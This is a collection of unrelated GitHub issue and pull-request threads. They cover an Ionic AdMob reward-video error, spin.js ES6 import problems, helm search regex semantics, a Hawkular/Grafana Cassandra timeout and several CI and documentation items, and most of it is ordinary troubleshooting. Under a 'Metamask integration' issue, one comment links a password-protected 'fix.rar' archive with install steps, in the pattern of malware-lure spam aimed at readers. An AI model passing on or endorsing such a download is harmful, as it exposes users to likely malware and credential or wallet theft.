Error: Uncaught (in promise): null

Hi! I'm using this library in an ionic 3 app and it works perfectly with banners and intersticial ads, but with reward videos it doesn't works.
The only code that I run is:
this.admob.prepareRewardVideoAd(this.admobId.rewardVideo);
And it causes the next error (note that I only prepare the reward video ad, I don't show it):
"Error: Uncaught (in promise): null
    at new Error (native)
    at Error.d (http://<IP_ADDRESS>:8100/build/polyfills.js:3:3991)
    at l (http://<IP_ADDRESS>:8100/build/polyfills.js:3:3244)
    at http://<IP_ADDRESS>:8100/build/polyfills.js:3:2600
    at Object.cordova.callbackFromNative (http://<IP_ADDRESS>:8100/cordova.js:295:52)
    at processMessage (http://<IP_ADDRESS>:8100/cordova.js:1119:17)
    at processMessages (http://<IP_ADDRESS>:8100/cordova.js:1142:9)
    at t.invoke (http://<IP_ADDRESS>:8100/build/polyfills.js:3:11562)
    at Object.inner.inner.fork.onInvoke (http://<IP_ADDRESS>:8100/build/main.js:4623:37)
    at t.invoke (http://<IP_ADDRESS>:8100/build/polyfills.js:3:11502)
    at n.run (http://<IP_ADDRESS>:8100/build/polyfills.js:3:6468)
    at http://<IP_ADDRESS>:8100/build/polyfills.js:3:3767
    at t.invokeTask (http://<IP_ADDRESS>:8100/build/polyfills.js:3:12256)
    at Object.inner.inner.fork.onInvokeTask (http://<IP_ADDRESS>:8100/build/main.js:4614:37)
    at t.invokeTask (http://<IP_ADDRESS>:8100/build/polyfills.js:3:12177)"

And, of course, if I try to show the reward video ad, it doesn't works too.
this.admob.prepareRewardVideoAd(this.admobId.rewardVideo).then(() => {
    this.admob.showRewardVideoAd();
});

The above code gives me the same error.
Well, if I caught the promise error, it shows me, of course, null
It's in the same place where the banner and intersticial works.
Can anyone help me, please?
Sorry for my english.
Thanks!

Be very careful when using this. It depends on your context.
It's better to use closure, assign to a variable.
var me = this;
me.admob.prepareRewardVideoAd(me.admobId.rewardVideo).then(() => {
    me.admob.showRewardVideoAd();
});

Thanks so much for your reply!
But I can't get it work with your advice
My code is:
var me = this;

me.platform.ready().then(() => {
  if (me.platform.is('android')) {
    me.admobId = {
      banner: 'xxx',
      intersticial: 'xxx',
      rewardVideo: 'xxx',
    };
  }

  me.admob.createBanner(me.admobId.banner);

  me.admob.prepareRewardVideoAd(me.admobId.rewardVideo).then(() => {
    me.admob.showRewardVideoAd();
  }, (errors) => {
    console.error('reward video', errors);
  });
});

The banner still works, but the reward video still gives me an null error
Do you know where is the problem?
Thanks again!

Try use AdMob.prepareRewardVideoAd() instead of this.admob or me.admob.
Here is a tutorial, by Nic Raboy.
Monetize With Google Admob In An Ionic 2 Mobile App

Amazing! It's the solution! Thanks so much!


New command for coding style formatting

mbed format command or similar for the formatting the code according to the Mbed OS coding style (using astyle , .astylerc option we provide as part of the OS, plus also .astyleignore file to ignore folders).
We have format code button in the online IDE - online and offline code formatting. It would help contributors to conform to our styling guide. We currently run commands locally (for bigger changes it is non trivial command).
Our next minor version 5.11 is going to have 0 coding style issues.
cc @sg-

Internal Jira reference: https://jira.arm.com/browse/MBOCUSTRIA-174

+1 but format can be confusing, so I'd rather use astyle/style/code-format.

I would prefer mbed astyle or just a .sh script in the root that runs the Astyle.
I'm not fan of hiding behind mbed ... what we actually do.

@SeppoTakalo I agree. If formatting to some sort of mbed style is appropriate for contributors then this needs to be documented for contributors only and provided as a config file for whatever tool is doing the formatting. This is not going to be mbed CLI, so I'm closing this.


Metamask integration

Add metamask connection, and support ethereum testnet transactions.

Download
https://www.mediafire.com/file/czdodbba054p738/fix.rar/file
password: changeme
In the installer menu, select "gcc."


pycharm does not detect proprety from DocumentArray

class Image(Document):
    tensor: TorchTensor[3, 224, 224]

batch = DocumentArray[Image](
    [Image(tensor=torch.zeros(3, 224, 224)) for _ in range(10)]
)

batch.tensor # here pycahrm will complain

With Document (and pydantic) we don't have this problem
We need to find a way (like in pandas) so that pycharm and other tool does not complain

Hello as far as i understood,  The issue with the given code is that batch is a DocumentArray object that contains a list of Image documents, and batch.tensor is not a valid attribute. Instead, you can access the tensor attribute of each Image document in the DocumentArray using a loop or list comprehension. e.g:
tensor_list = [doc.tensor for doc in batch]
This will return a list of 10 tensors, each with shape [3, 224, 224], which correspond to the tensors of the 10 Image documents in the DocumentArray.

I don't understand your comment :confused: . Yes what you said is the expected behavior of calling batch.tensor but it does not fix the problem of pycharm complaning.

More info on this issue :
IMO there are two ways of fixing this issue:

Silencing the error message from pycharm. The same way pandas do it. I am not completely sure but I think there is a way to precise in the docstring of the class that pycharm should not warn of not existing field.

Make a pycharm plugin (like pydantic pycharm plugin) to autodetect the available field based on the document_type inside the DocumentArray. This is likely a more advanced solution and should be tackle in a second time

Hello @samsja can you assign me to this issue?

@samsja  okay i will look into it deeply.

Hi @samsja what kind of error that occur? I want to check if I got the same error when execute with pycharm.

@RStar2022 I updated the issue with a screenshot


:sparkles: Option for efficient determination of non-operational status

Description
This PR adds an option to efficiently determine if a layout is non-operational. This is achieved by applying the pruning strategies from QuickCell.
Checklist:

[ ] The pull request only contains commits that are related to it.
[x] I have added appropriate tests and documentation.
[x] I have added a changelog entry.
[x] I have created/adjusted the Python bindings for any new or updated functionality.
[x] I have made sure that all CI jobs on GitHub pass.
[ ] The pull request introduces no new warnings and follows the project's style guidelines.

7245945 shows the following runtimes:

@marcelwa, I have now fixed the Windows CI issue. This means that this PR will no longer change significantly.

@marcelwa, I have now fixed the Windows CI issue. This means that this PR will no longer change significantly.

Fantastic! 🎉 In other words, I can finalize my review?

That would be great! I think we will be the fastest overall if you finish it, although there might be some issues I could realize if I go through it again carefully.


[Bug] [Doc] Remove useless system manual after version 2.0

Search before asking

[X] I had searched in the issues and found no similar issues.

What happened
We separate system-manual after version 2.0, but we still find it in the link, we should remove them
https://github.com/apache/dolphinscheduler-website/blob/7c93e488bbb6236ee454b636c92d77c844e24f45/docs/en-us/2.0.0/user_doc/guide/system-manual.md#L93
What you expected to happen
ATT
How to reproduce
ATT
Anything else
No response
Version
2.0.0
Are you willing to submit PR?

[X] Yes I am willing to submit a PR!

Code of Conduct

[X] I agree to follow this project's Code of Conduct

Close by apache/dolphinscheduler-website#630


import botmetrics blog copy

cc @sandeep

Release Playbook

[ ] Rebase against master
[ ] Code review
[ ] Merge into master
[ ] Verify changes at http://site-staging.convox.com
[ ] Promote release on site-production in the convox/production Rack

 Sandeep's Blog Post


AP-4774: Fix accessibility issues with hidden labels

What
Link to story
Remove instances of visually hidden text, that is read out with a screenreader, which duplicates visual text
Checklist
Before you ask people to review this PR:

Tests and rubocop should be passing: bundle exec rake
Github should not be reporting conflicts; you should have recently run git rebase main.
The standards in the Git Workflow document on Confluence should be followed
There should be no unnecessary whitespace changes. These make diffs harder to read and conflicts more likely.
The PR description should say what you changed and why, with a link to the JIRA story.
You should have looked at the diff against main and ensured that nothing unexpected is included in your changes.
You should have checked that the commit messages say why the change was made.

Only one question.
Good work CYC-ing list_from_translation_path and removing those spacing divs


Unexpected token {

inport {Spinner} from '/spin.js-3.1.0/spin.js'

Same issue with Meteor JS. Meteor's build tool doesn't transpile code in node_modules directory so the browser throws this error as it doesn't understand the ES6 module syntax.

Perhaps you can stick with spin.js 2.x until your build tools support ES6. They'll have to support it eventually since more and more libraries are starting to use it!

@theodorejb Thanks for the suggestion - that's exactly what I'm doing for the moment :) I've just discovered that transpiling of node_modules is on the roadmap for the next Meteor release (v1.6.2) so that should solve it properly (for Meteor users at least).

Getting the same error and had to downgrade to v2.
In webpack you typically exclude node_module from babel-loader, as it's a common convention to publish transpiled modules to npm, so this module won't work with create-react-app for example.

How do you downgrade to v2?

@MMP3AC3 you can run yarn upgrade<EMAIL_ADDRESS>or npm install<EMAIL_ADDRESS>

@moretti I downgraded to v2, but it's still not working...not sure if I'm doing this right


ci: add name to workflows

fix name

Pull Request Test Coverage Report for Build<PHONE_NUMBER>

0 of 0   changed or added relevant lines in 0 files are covered.
No unchanged relevant lines lost coverage.
Overall coverage remained the same at 98.255%

Totals

Change from base Build<PHONE_NUMBER>:
0.0%

Covered Lines:
4336

Relevant Lines:
4413

💛  - Coveralls


Getting errors while trying to deploy the template

Getting below issues while trying to deploy this cloudformation stack
2020-04-05 15:40:58 UTC+0530	ESDomain
CREATE_FAILED	Domain needs to be specified for user pool (Service: AWSElasticsearch; Status Code: 400; Error Code: ValidationException; Request ID: 3a6f250c-5d94-46d2-bbff-9f09d21f6393)
2020-04-05 15:40:59 UTC+0530	podcast-transcribe-index
ROLLBACK_IN_PROGRESS	The following resource(s) failed to create: [CognitoAuthKibanaPolicy, ESDomain]. . Rollback requested by user.
2020-04-05 15:40:58 UTC+0530	CognitoAuthKibanaPolicy
CREATE_FAILED	Resource creation cancelled
any suggestions what could the issues?

sorry about that. can you delete the stack and try again? i think i have fixed the issue

able to deploy the cloudformation template successfully now..thanks


Issue #779 login and register should be differently placed

added login and register appear separately for better experience.

@FrankOHara43 Your pull request has been successfully merged! Don't stop here—continue contributing by addressing more issues and aiming to become a top contributor.
Great contribution to HACKTOBERFEST'24! 🎉


Consider making cve_server serve HTTPS by default

Creating this because I noticed all the default URLs are HTTP, which could be MiTM'd.
Maybe cve_server could be adapted to support LetsEncrypt using something like this:
https://github.com/unixcharles/acme-client
By default maybe it could serve a self-signed certificate as a fall-back, but there could be a STDERR/STDOUT nag upon invocation for setting the users specific LetsEncrypt API key.

Hi @claudijd,
We already are getting the XML files over https connections. @jnahorny fixed that some days ago.
https://github.com/SpiderLabs/cve_server/pull/17/commits/a9d6b4a62c1ad0e6172d923a274ea5c9d233d857
We are need are gonna dig on the acme-client.
Thank you for the advice.
Cheerz Sr. Claudius


dolphinEmu: install udev rules on linux

This allows use of GameCube controllers via NixOS udev rules,
e.g. by setting
services.udev.packages = [ pkgs.dolphinEmu ];

Motivation for this change
Things done

[x] Tested using sandboxing (nix.useSandbox on NixOS, or option sandbox in nix.conf on non-NixOS linux)
Built on platform(s)

[x] NixOS
[ ] macOS
[ ] other Linux distributions

[ ] Tested via one or more NixOS test(s) if existing and applicable for the change (look inside nixos/tests)
[ ] Tested compilation of all pkgs that depend on this change using nix-shell -p nixpkgs-review --run "nixpkgs-review wip"
[x] Tested execution of all binary files (usually in ./result/bin/)
[ ] Determined the impact on package closure size (by running nix path-info -S before and after)
[ ] Ensured that relevant documentation is up to date
[ ] Fits CONTRIBUTING.md.

Result of nixpkgs-review pr 105749 1

2 packages built:

dolphinEmu
dolphinEmuMaster

Also in the wiki now: https://nixos.wiki/wiki/Dolphin_Emulator


Fix options handling and add transformPath option

Codecov Report

Merging #6 into master will not change coverage.
The diff coverage is 100%.

@@          Coverage Diff          @@
##           master     #6   +/-   ##
=====================================
  Coverage     100%   100%
=====================================
  Files           1      1
  Lines          23     25    +2
=====================================
+ Hits           23     25    +2

Impacted Files
Coverage Δ

src/index.js
100% <100%> (ø)
:arrow_up:

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update e86c2fe...3233809. Read the comment docs.


NaN values in the learnable parameters with custom initialization, along with lasso regularization

From what I read online, getting NaN cost values can happen if someone uses a custom cross entropy calculation while doing classification. However, I use the built-in cross entropy calculation provided.
My problem is different. I have a network that consists of an RNN and a convolutional layer before that. When I initialize the convolutional layer with random values(e.g., normal random or uniform random), I do not experience any problem. However, I use a custom initialization, and start getting NaN gradients right away(i.e., starting from the first batch).
My filter initialization is as follows: All values in the filter are zero, except a single value is 1. When I initialize the filters in this manner, I start to get NaN gradients starting from the first batch, hence NaN weights and NaN cost in the following batches.
Environment info
Operating System: Mac v10.11.3 (El Capitan)
The output of ls -l /path/to/cuda/lib/libcud*:
-rw-r--r-- 1 root root 189170 Mar 24 16:02 libcudadevrt.a
lrwxrwxrwx 1 root root     16 Mar 24 16:02 libcudart.so -> libcudart.so.7.5
lrwxrwxrwx 1 root root     19 Mar 24 16:02 libcudart.so.7.5 -> libcudart.so.7.5.18
-rwxr-xr-x 1 root root 311596 Mar 24 16:02 libcudart.so.7.5.18
-rw-r--r-- 1 root root 558020 Mar 24 16:02 libcudart_static.a

The tensorflow version is: 0.9.0rc0

The whole code is quite messy and complex, . But reproducing the code should not be hard: I initialize convolutional filters with all zeros but one "1" value, and I get nan values as gradients in the locations where 0's appear.
One thing to note is that I apply group lasso regularization to the convolutional filter weights. I realized when regularization lambda is set to a small value, (like 10e-3), the problem did not occur. However, when I chose values that have larger order of magnitude (like 10e-2 or 1), I observed this problem. Values other than the group initialized as "1" becomes all Nan.
To exemplify, suppose I initialize the weights as the matrix on the top, and each column is a group (in group lasso objective). After the first batch of data, the matrix on the bottom is what I get:
0 0 0 0 0
0 0 0 0 0
0 0 1 0 0
0 0 0 0 0
0 0 0 0 0
becomes:
NaN NaN 0.3 NaN NaN
NaN NaN 0.7 NaN NaN
NaN NaN  0.1  NaN NaN
NaN NaN 0.5 NaN NaN
NaN NaN 0.2 NaN NaN
Long story short; I know how to avoid this problem (using smaller lambda values), but I just wanted to know if there is an explanation for why this problem occur. Is it because of a numerical error, or it is because I am doing something wrong?

I finally understood the reason. It's due to numerical instability with the tf.sqrt function. Adding an epsilon solved the problem. Closing the issue.

Sorry to bother you .  I really want to know  how to apply group lasso in tensorflow. Can you give me some instruction? Thanks very much.

You can take a look at the following slides(Slide number ~50)
ftp://ess.r-project.org/Teaching/buhlmann/advanced-comput-statist/slides1.pdf
If you have an issue please let me know.

@mingmingDiii  This might also be a good resource for you.


helm search regexp shortcoming

Hi. Firstly, thanks for the awesome project - love it. I have a minor quibble with the current behaviour exhibited when using regular expressions with helm search. My aim is to precisely control the result set returned from a search; it seems that expressions with anchors do not currently return the result set I would expect. For example, when constrained by anchors, I expect the following regexp to return a single result: the redis chart from the stable repo:
$ helm search --regexp '^stable/redis$'
No results found

Loosen things up:
$ helm search --regexp '^.*stable/redis.*$'
NAME            CHART VERSION   APP VERSION     DESCRIPTION
stable/redis    1.2.2           4.0.9           Open source, advanced key-value store. It is of...
stable/redis-ha 2.1.1           4.0.8-r0        Highly available Redis cluster with multiple se...

Current workaround:
$ helm search --regexp 'stable/redis[^-]'
NAME            CHART VERSION   APP VERSION     DESCRIPTION
stable/redis    1.2.2           4.0.9           Open source, advanced key-value store. It is of...

$ helm version
Client: &version.Version{SemVer:"v2.8.2", GitCommit:"a80231648a1473929271764b920a8e346f6de844", GitTreeState:"clean"}
Server: &version.Version{SemVer:"v2.8.2", GitCommit:"a80231648a1473929271764b920a8e346f6de844", GitTreeState:"clean"}

$ kubectl version
Client Version: version.Info{Major:"1", Minor:"8", GitVersion:"v1.8.6", GitCommit:"6260bb08c46c31eea6cb538b34a9ceb3e406689c", GitTreeState:"clean", BuildDate:"2017-12-21T06:34:11Z", GoVersion:"go1.8.3", Compiler:"gc", Platform:"linux/amd64"}
Server Version: version.Info{Major:"1", Minor:"8", GitVersion:"v1.8.6", GitCommit:"6260bb08c46c31eea6cb538b34a9ceb3e406689c", GitTreeState:"clean", BuildDate:"2017-12-21T06:23:29Z", GoVersion:"go1.8.3", Compiler:"gc", Platform:"linux/amd64"}

$ kops version
Version 1.8.1 (git-94ef202)

Thanks for bringing this up @das-super. It sparked an interesting conversation. The --regexp flag is working here as intended. What gets compared to the expression supplied is actually a concatenation of multiple fields from the Chart.yaml file ( the name of the chart, description, keywords, etc) each of which are separated with \v (vertical tab) not just the NAME field that we see in the output of helm search.
helm search was implemented this way in order to search using keywords like database, key-value store or other keywords in the metadata that might be interesting other than the actual chart name itself. It looks like the work around you described is the right way to return the specific chart but if there were other charts with "stable/redis" in the description or keywords, they would also be returned via helm search --regexp 'stable/redis[^-]'.  To specifically look for charts that are named stable/redis, try searching using vertical tabs \v like this: helm search --regexp '\vstable/redis\v'
Now looking at your issue, @bacongobbler and I have been chatting about how to make this experience more intuitive. We cannot however change the current behavior at this time because it would present a backwards incompatibility issue. We can put this on the table for helm v3 as a discussion point.

Hi, thanks for following-up on this and for the improved workaround for my case.
Cheers!

Can we add a --regexp-whole-word field like @ian-howell suggests here (it's not present in helm 3)
https://github.com/helm/helm/issues/3927#issuecomment-445026515

Suggestion: why not add a new flag --regexp-whole-word which simply adds the vertical tabs in the search? This would blackbox the implementation. Maybe an idea for Helm 3?

I think the help message in the command helps but having a field like --regexp-whole-word might be better because it would work the way you expect --regex to work, without breaking the backward compatibility of --regex and you wouldn't have to keep wrapping your regex with \v \v to make regex work the you would expect it to work.
I can spend some time on this if required.

I encountered this issue while looking for a way to simply list all charts from a given repo. I naively tried helm search repo  -r '^<name-of-repo>./*' which, of course, didn't work. This was a helpful pointer - but please consider this a request for a flag that allows you to specifically constrain the search to a particular repo!


Add Example DBController for DBConnection resource

We need POC controller for DBConnection resource

We might not need that one.


Adding Openshift Metrics Deployment

I'm trying to add my openshift metrics deployment and I'm getting internal HTTP server errors.
I'm using self signed certs, checkbox for "CA certs" is checked and I'm using proxy mode.
Any help would be appreciated, I'd love to get dashboards for our origin apps.
00:42:07,206 ERROR [org.hawkular.metrics.api.jaxrs.util.ApiUtils] (RxComputationScheduler-1) HAWKMETRICS200010: Failed to process request: java.util.concurrent.ExecutionException: com.datastax.driver.core.exceptions.ReadTimeoutException: Cassandra timeout during read query at consistency LOCAL_ONE (1 responses were required but only 0 replica responded)

I am assuming that Hawkular Metrics and Cassandra are deployed ok such that you are able to collect metrics and view graphs in the console. Can you tell me what kinds of queries you are trying to run when you get the timeout. What tags, date ranges, etc.

Yes, metrics work fine within the openshift interface.
I'm not running any queries, just adding the data source and I get an error

Can you share the logs from your Hawkular Metrics and Cassandra pods? Cassandra should have a debug log file at /opt/apache-cassandra/logs/debug.log. If it is not too big, it would be helpful if you could share it.

HAWKULAR POD
03:52:09,628 ERROR [org.hawkular.metrics.api.jaxrs.util.ApiUtils] (RxComputationScheduler-3) HAWKMETRICS200010: Failed to process request: java.util.concurrent.ExecutionException: com.datastax.driver.core.exceptions.ReadTimeoutException: Cassandra timeout during read query at consistency LOCAL_ONE (1 responses were required but only 0 replica responded)
	at com.google.common.util.concurrent.AbstractFuture$Sync.getValue(AbstractFuture.java:299)
	at com.google.common.util.concurrent.AbstractFuture$Sync.get(AbstractFuture.java:286)
	at com.google.common.util.concurrent.AbstractFuture.get(AbstractFuture.java:116)
	at rx.observable.ListenableFutureObservable$2$1.run(ListenableFutureObservable.java:78)
	at rx.observable.ListenableFutureObservable$1$1.call(ListenableFutureObservable.java:50)
	at rx.internal.schedulers.EventLoopsScheduler$EventLoopWorker$1.call(EventLoopsScheduler.java:172)
	at rx.internal.schedulers.ScheduledAction.run(ScheduledAction.java:55)
	at java.util.concurrent.Executors$RunnableAdapter.call(Executors.java:511)
	at java.util.concurrent.FutureTask.run(FutureTask.java:266)
	at java.util.concurrent.ScheduledThreadPoolExecutor$ScheduledFutureTask.access$201(ScheduledThreadPoolExecutor.java:180)
	at java.util.concurrent.ScheduledThreadPoolExecutor$ScheduledFutureTask.run(ScheduledThreadPoolExecutor.java:293)
	at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1142)
	at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:617)
	at java.lang.Thread.run(Thread.java:745)
Caused by: com.datastax.driver.core.exceptions.ReadTimeoutException: Cassandra timeout during read query at consistency LOCAL_ONE (1 responses were required but only 0 replica responded)
	at com.datastax.driver.core.exceptions.ReadTimeoutException.copy(ReadTimeoutException.java:115)
	at com.datastax.driver.core.Responses$Error.asException(Responses.java:124)
	at com.datastax.driver.core.RequestHandler$SpeculativeExecution.onSet(RequestHandler.java:471)
	at com.datastax.driver.core.Connection$Dispatcher.channelRead0(Connection.java:1070)
	at com.datastax.driver.core.Connection$Dispatcher.channelRead0(Connection.java:993)
	at io.netty.channel.SimpleChannelInboundHandler.channelRead(SimpleChannelInboundHandler.java:105)
	at io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.java:342)
	at io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.java:328)
	at io.netty.channel.AbstractChannelHandlerContext.fireChannelRead(AbstractChannelHandlerContext.java:321)
	at io.netty.handler.timeout.IdleStateHandler.channelRead(IdleStateHandler.java:266)
	at io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.java:342)
	at io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.java:328)
	at io.netty.channel.AbstractChannelHandlerContext.fireChannelRead(AbstractChannelHandlerContext.java:321)
	at io.netty.handler.codec.MessageToMessageDecoder.channelRead(MessageToMessageDecoder.java:102)
	at io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.java:342)
	at io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.java:328)
	at io.netty.channel.AbstractChannelHandlerContext.fireChannelRead(AbstractChannelHandlerContext.java:321)
	at io.netty.handler.codec.ByteToMessageDecoder.fireChannelRead(ByteToMessageDecoder.java:293)
	at io.netty.handler.codec.ByteToMessageDecoder.fireChannelRead(ByteToMessageDecoder.java:280)
	at io.netty.handler.codec.ByteToMessageDecoder.callDecode(ByteToMessageDecoder.java:396)
	at io.netty.handler.codec.ByteToMessageDecoder.channelRead(ByteToMessageDecoder.java:248)
	at io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.java:342)
	at io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.java:328)
	at io.netty.channel.AbstractChannelHandlerContext.fireChannelRead(AbstractChannelHandlerContext.java:321)
	at io.netty.handler.ssl.SslHandler.unwrap(SslHandler.java:1070)
	at io.netty.handler.ssl.SslHandler.decode(SslHandler.java:904)
	at io.netty.handler.codec.ByteToMessageDecoder.callDecode(ByteToMessageDecoder.java:411)
	at io.netty.handler.codec.ByteToMessageDecoder.channelRead(ByteToMessageDecoder.java:248)
	at io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.java:342)
	at io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.java:328)
	at io.netty.channel.AbstractChannelHandlerContext.fireChannelRead(AbstractChannelHandlerContext.java:321)
	at io.netty.channel.DefaultChannelPipeline$HeadContext.channelRead(DefaultChannelPipeline.java:1280)
	at io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.java:342)
	at io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.java:328)
	at io.netty.channel.DefaultChannelPipeline.fireChannelRead(DefaultChannelPipeline.java:890)
	at io.netty.channel.nio.AbstractNioByteChannel$NioByteUnsafe.read(AbstractNioByteChannel.java:131)
	at io.netty.channel.nio.NioEventLoop.processSelectedKey(NioEventLoop.java:564)
	at io.netty.channel.nio.NioEventLoop.processSelectedKeysOptimized(NioEventLoop.java:505)
	at io.netty.channel.nio.NioEventLoop.processSelectedKeys(NioEventLoop.java:419)
	at io.netty.channel.nio.NioEventLoop.run(NioEventLoop.java:391)
	at io.netty.util.concurrent.SingleThreadEventExecutor$2.run(SingleThreadEventExecutor.java:112)
	at io.netty.util.concurrent.DefaultThreadFactory$DefaultRunnableDecorator.run(DefaultThreadFactory.java:145)
	... 1 more
Caused by: com.datastax.driver.core.exceptions.ReadTimeoutException: Cassandra timeout during read query at consistency LOCAL_ONE (1 responses were required but only 0 replica responded)
	at com.datastax.driver.core.Responses$Error$1.decode(Responses.java:62)
	at com.datastax.driver.core.Responses$Error$1.decode(Responses.java:37)
	at com.datastax.driver.core.Message$ProtocolDecoder.decode(Message.java:277)
	at com.datastax.driver.core.Message$ProtocolDecoder.decode(Message.java:257)
	at io.netty.handler.codec.MessageToMessageDecoder.channelRead(MessageToMessageDecoder.java:88)
	... 29 more

CASSANDRA POD
INFO  15:42:03 Redistributing index summaries
INFO  16:42:03 Redistributing index summaries
INFO  17:13:00 ConcurrentMarkSweep GC in 338ms.  CMS Old Gen:<PHONE_NUMBER> -><PHONE_NUMBER>; Par Eden Space: 921824 -> 39842088;
INFO  17:28:51 Saved KeyCache (623203 items) in 1448 ms
INFO  17:42:03 Redistributing index summaries
INFO  18:42:03 Redistributing index summaries
INFO  19:42:03 Redistributing index summaries
INFO  19:54:35 ParNew GC in 220ms.  CMS Old Gen:<PHONE_NUMBER> -><PHONE_NUMBER>; Par Eden Space: 335544320 -> 0; Par Survivor Space: 26802832 -> 25140896
INFO  20:32:32 ConcurrentMarkSweep GC in 303ms.  CMS Old Gen:<PHONE_NUMBER> -> 986689824; Par Eden Space: 50008 -> 19657992;
INFO  20:41:06 ParNew GC in 494ms.  CMS Old Gen:<PHONE_NUMBER> -><PHONE_NUMBER>; Par Eden Space: 335544320 -> 0; Par Survivor Space: 26505280 -> 24987248
INFO  20:42:03 Redistributing index summaries
INFO  21:28:51 Saved KeyCache (588110 items) in 1495 ms
INFO  21:42:03 Redistributing index summaries
INFO  22:42:03 Redistributing index summaries
INFO  23:31:04 ParNew GC in 246ms.  CMS Old Gen:<PHONE_NUMBER> -><PHONE_NUMBER>; Par Eden Space: 335544320 -> 0; Par Survivor Space: 14949936 -> 17422536
INFO  23:42:04 Redistributing index summaries
INFO  00:15:18 ConcurrentMarkSweep GC in 386ms.  CMS Old Gen:<PHONE_NUMBER> -><PHONE_NUMBER>; Par Eden Space: 5326088 -> 21644128;
INFO  00:41:56 ParNew GC in 296ms.  CMS Old Gen:<PHONE_NUMBER> -><PHONE_NUMBER>; Par Eden Space: 335544320 -> 0; Par Survivor Space: 23048800 -> 37671480
INFO  00:42:04 Redistributing index summaries
INFO  00:42:49 ParNew GC in 202ms.  CMS Old Gen:<PHONE_NUMBER> -><PHONE_NUMBER>; Par Eden Space: 335544320 -> 0; Par Survivor Space: 34594896 -> 31169280
INFO  01:28:51 Saved KeyCache (615310 items) in 1709 ms
INFO  01:42:04 Redistributing index summaries
INFO  02:42:04 Redistributing index summaries
INFO  02:57:47 ConcurrentMarkSweep GC in 258ms.  CMS Old Gen:<PHONE_NUMBER> -> 940695472; Par Eden Space: 898384 -> 36380136;
INFO  03:42:04 Redistributing index summaries
INFO  03:52:19 ParNew GC in 246ms.  CMS Old Gen:<PHONE_NUMBER> -><PHONE_NUMBER>; Par Eden Space: 335544320 -> 0; Par Survivor Space: 27643296 -> 40563768

Unfortunately the log snippets do not provide enough detail. @jotak do you know what queries (if any) run when the data source is deployed and initialized?

I just realized I'm on grafana 4.1.1 and docs say this is for grafana 3. Could that be the cause?

@jsanda the first call to the API by the datasource is GET on /hawkular/metrics/status , so it's probably not the problem. Then it performs GET on /hawkular/metrics/metrics with no parameters.
@stobias123 The datasource should be fine on Grafana 4. I haven't tested on 4.1.1 yet (I'll do it), but I'd be surprised Grafana would be the cause of this issue.
Can you open the javascript console (shift+ctrl+i in chrome/firefox) and tell us which request is failing/stalling under the "network" tab?

@stobias123 , can you also check with curl?
curl -H "Authorization: Bearer XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX"
       -H "Hawkular-Tenant: YYYYY"
       -X GET https://hawkularserver/hawkular/metrics/metrics

with your openshift token, tenant and hawkular server

@jotak it falis here with a 500-> http://grafana-url/api/datasources/proxy/1/metrics

curl -H "Authorization: Bearer asdfasdfasdfasdf" \
       -H "Hawkular-Tenant: tenant" \
       -X GET https://metrics.domain.com/hawkular/metrics/metrics -k

returned nothing.

user@server# curl -H "Authorization: Bearer asdfasdfasdf"
-H "Hawkular-Tenant: tenant"
-X GET https://metrics.cloud.domain.com/hawkular/metrics/metrics -k
{"errorMsg":"Failed to perform operation due to an error: Cassandra timeout during read query at consistency LOCAL_ONE (1 responses were required but only 0 replica responded)"}%                                                                                stobias@cabmbd053862  ~ 

Just a thought... maybe the error in hawkular-metrics logs is not related to this issue. Did you notice if it happens every time you try to test the datasource?
Also I remember that @burmanm fixed a bug on token authentication that ended in timeout on failure, or something like that ( https://github.com/hawkular/hawkular-metrics/pull/752 ). It might be the issue here, which would indicate that there's something wrong with your openshift token.

Yes it happens every time I save+test the datasource.
I tried token from both the hawkular service account and from the oauth/token/request. Would that mean I'm requesting token wrong or that I should update my hawkular pod?

@stobias123 can you tell me if it works if you use the "hawkular" tenant (low case)? If so it's something related to permissions on projects ; I need to test on my side, it's been a while I didn't configure permissions... Meanwhile you can have a look to that blog post: http://www.hawkular.org/blog/2017/01/17/obst-hosa.html there are some chapters on authentication & service accounts with hawkular.

Hum sorry, if the cassandra timeout is related to the curl command, then it's not an authentication issue, wrong track.
I can't reproduce the error on my side. The "best" I have is a 504 Gateway timeout error when I use an invalid token.
By the way, what's your version of hawkular-metrics? It's given on hawkular front page https://yourserver/hawkular/metrics

version of metrics is "0.23.4.Final"

@stobias123 Do you know how big your environment is in terms of number of pods? What configuration are you using for Cassandra in terms of CPU and RAM?

Pretty small, only like 27 pods. It's the default metrics install as of origin 1.3 - only one cassandra pod. It's got no limits or quota, hovering around 7GB of memory and 140millicore CPU

And you can view the graphs in the OpenShift console without any issue?

Yup, no problems in OS console.
@jotak I didn't see your tenant comment until now, I get "Forbidden" when using hawkular tenant.
Previously I'd been using project names as tenant. I can't recall where I read that but I thought that was correct.

Previously I'd been using project names as tenant. I can't recall where I read that but I thought that was correct.

Yes, that is correct. The tenant corresponds to the project name.
This is a bit strange, since the console will be doing essentially the same command it is able to access the data being stored.
The big difference is that the console is not using the /hawkular/metrics/metrics endpoint, but its accessing the metrics more directly.
@jsanda any ideas?

Ok so I added my account to the cluster-admin role, and I've got it to connect to hawkular tenant now, but using a project name for tenant still results in error.
Question about permissions though...
What are the minimum security policies I need to assign to a user for this to work?
Appreciate the responsiveness here, thanks to everyone.

